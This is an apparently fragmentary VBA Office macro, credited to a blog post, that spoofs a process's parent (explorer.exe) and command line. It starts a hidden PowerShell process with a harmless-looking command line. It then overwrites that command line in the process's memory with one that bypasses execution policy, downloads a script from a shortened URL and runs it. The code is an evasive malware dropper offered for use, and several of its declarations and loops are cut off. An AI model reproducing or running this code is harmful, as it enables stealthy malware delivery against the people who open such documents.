' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''
Private Type PROCESS_INFORMATION
Private Type STARTUP_INFO
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
Private Type PROCESS_BASIC_INFORMATION
Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
ByVal processHandle As LongPtr, _
ByVal processInformationClass As Long, _
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
ByVal processInformationLength As Long, _
ByRef returnLength As Long _
' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
ProcessParameters As Long
PostProcessInitRoutine As Long
Private Type UNICODE_STRING
Private Type RTL_USER_PROCESS_PARAMETERS
ImagePathName As UNICODE_STRING
CommandLine As UNICODE_STRING
Private Type PROCESSENTRY32
th32DefaultHeapID As Long
th32ParentProcessID As Long
szexeFile As String * MAX_PATH
'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As LongPtr, _
ByVal lpBuffer As LongPtr, _
ByRef lpNumberOfBytesRead As Long _
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpNumberOfBytesWritten As Long _
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''
' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim continueSearching As Boolean
pEntry.dwSize = Len(pEntry)
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
continueSearching = Process32First(snapshot, pEntry)
If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
getPidByName = pEntry.th32ProcessID
continueSearching = False
continueSearching = Process32Next(snapshot, pEntry)
Loop While continueSearching
Public Function convertStr(ByVal str As String) As Byte()
result(j) = Asc(Mid(str, i, 1))
Dim pi As PROCESS_INFORMATION
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim parentHandle As LongPtr
Dim originalCli As String
originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"
' Get a handle on the process to be used as a parent
pid = getPidByName("explorer.exe")
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Set the parent to be our previous handle
result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)
' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
si.STARTUPINFO.cb = LenB(si)
' Hide new process window
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE
result = CreateProcess( _
' Spoofing of cli arguments
Dim pbi As PROCESS_BASIC_INFORMATION
Dim newProcessHandle As LongPtr
Dim parameters As RTL_USER_PROCESS_PARAMETERS
newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
' peb.ProcessParameters now contains the address to the parameters - read them
success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)
cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # "
success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
ResumeThread (pi.hThread)